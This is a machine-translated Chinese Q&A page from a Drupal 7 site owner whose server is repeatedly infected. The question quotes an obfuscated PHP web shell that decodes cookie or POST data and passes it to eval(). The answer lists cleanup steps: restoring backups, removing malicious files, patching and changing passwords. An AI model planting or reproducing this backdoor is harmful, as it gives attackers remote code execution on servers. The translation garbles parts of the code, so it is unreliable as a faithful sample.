Drupal 7最近的日志消息

Question

我面臨一個問題。 每天在我的服務器上，apper.ico文件和.php文件都帶有以下代碼：

$ zvtizrs ='y6v1i4be＃torufpkxc7_8Hg0n * -2sladm \\''; $ yjzgov = Array（）; $ yjzgov [] = $ zvtizrs [30]。$ zvtizrs [3]。$ zvtizrs [30]。$ zvtizrs [27]。 $ zvtizrs [1]。$ zvtizrs [23]。$ zvtizrs [30]。$ zvtizrs [13]。$ zvtizrs [26]。$ zvtizrs [6]。$ zvtizrs [20]。$ zvtizrs [31]。$ zvtizrs [30]。$ zvtizrs [26]。$ zvtizrs [5]。$ zvtizrs [3]。$ zvtizrs [27]。$ zvtizrs [18]。$ zvtizrs [26]。$ zvtizrs [20]。$ zvtizrs [3] ]。$ zvtizrs [13]。$ zvtizrs [27]。$ zvtizrs [26]。$ zvtizrs [1]。$ zvtizrs [23]。$ zvtizrs [5]。$ zvtizrs [13]。$ zvtizrs [5]。 $ zvtizrs [13]。$ zvtizrs [23]。$ zvtizrs [20]。$ zvtizrs [30]。$ zvtizrs [18]。$ zvtizrs [17]。$ zvtizrs [7]; $ yjzgov [] = $ zvtizrs [ 21]。$ zvtizrs [25]; $ yjzgov [] = $ zvtizrs [8]; $ yjzgov [] = $ zvtizrs [17]。$ zvtizrs [10]。$ zvtizrs [12]。$ zvtizrs [24]。$ zvtizrs [9]; $ yjzgov [] = $ zvtizrs [28]。$ zvtizrs [9]。$ zvtizrs [11]。$ zvtizrs [19]。$ zvtizrs [11]。$ zvtizrs [7]。$ zvtizrs [14 ]。$ zvtizrs [7]。$ zvtizrs [30]。$ zvtizrs [9]; $ yjzgov [] = $ zvtizrs [7]。$ zvtizrs [16]。$ zvtizrs [14]。$ zvtizrs [29]。$ zvtizrs [10]。$ zvtizrs [31]。$ zvtizrs [7]; $ yjzgov [] = $ zvtizrs [28]。$ zvtizrs [12]。$ zvtizrs [6]。$ zvtizrs [28]。$ zvtizrs [9 ]。$ zvtizrs [11 ]; $ yjzgov [] = $ zvtizrs [30]。$ zvtizrs [11]。$ zvtizrs [11]。$ zvtizrs [30]。$ zvtizrs [0]。$ zvtizrs [19]。$ zvtizrs [32]。$ zvtizrs [7]。$ zvtizrs [11]。$ zvtizrs [22]。$ zvtizrs [7]; $ yjzgov [] = $ zvtizrs [28]。$ zvtizrs [9]。$ zvtizrs [11]。$ zvtizrs [29] ]。$ zvtizrs [7]。$ zvtizrs [24]; $ yjzgov [] = $ zvtizrs [14]。$ zvtizrs [30]。$ zvtizrs [17]。$ zvtizrs [15]; foreach（$ yjzgov [7] （$ _COOKIE，$ _POST）as $ xtfjdc => $ jqlwt）{function frtdmz（$ yjzgov，$ xtfjdc，$ omljrbn）{返回$ yjzgov [6]（$ yjzgov [4]（$ xtfjdc）。 $ yjzgov [0]，（$ omljrbn / $ yjzgov8）+ 1），0，$ omljrbn）;}函數htylm（$ yjzgov，$ xwoin）{返回@ $ yjzgov [9]（$ yjzgov [1]，$ xwoin ）;}函數twdine（$ yjzgov，$ xwoin）{$ sknbn = $ yjzgov3％3; if（！$ sknbn）{eval（$ xwoin1）; exit（）;}} $ jqlwt = htylm（$ yjzgov，$ jqlwt ）; twdine（$ yjzgov，$ yjzgov [5]（$ yjzgov [2]，$ jqlwt ^ frtdmz（$ yjzgov，$ xtfjdc，$ yjzgov8）））}}

您能告訴我該怎么辦嗎？ 我正在使用機架空間托管。 我在最近的日志中也有很多這樣的鏈接（/ d0E0MDY5VDNpanR6NDM5MzFJaQ ==）。 我該如何阻止呢？

提前致謝！

Answer 1

砍死 我最近正在自我清理被黑客入侵的網站，這是一場噩夢。 最好是從備份中檢索一些最新版本，然后立即應用所有安全更新。 如果沒有備份（大問題！），您可以嘗試像我一樣“清理”該站點：

• 清除所有帶有惡意內容的文件。 搜索/替換所有文件。
• 轉儲數據庫並執行相同的操作以轉儲文件-刪除惡意內容，然后將其導回。
• 檢查用戶帳戶。 如果有可疑的地方，則將其阻止/刪除。
• 檢查新創建的可疑用戶組。 也刪除它們。
• 進行備份。
• 應用所有安全更新/補丁。 再次進行全新備份。
• 更改所有帳戶密碼（雙倍管理員，FTP帳戶，數據庫帳戶）。
• 設置計划的備份。 即為此使用Becakup＆Migrate模塊。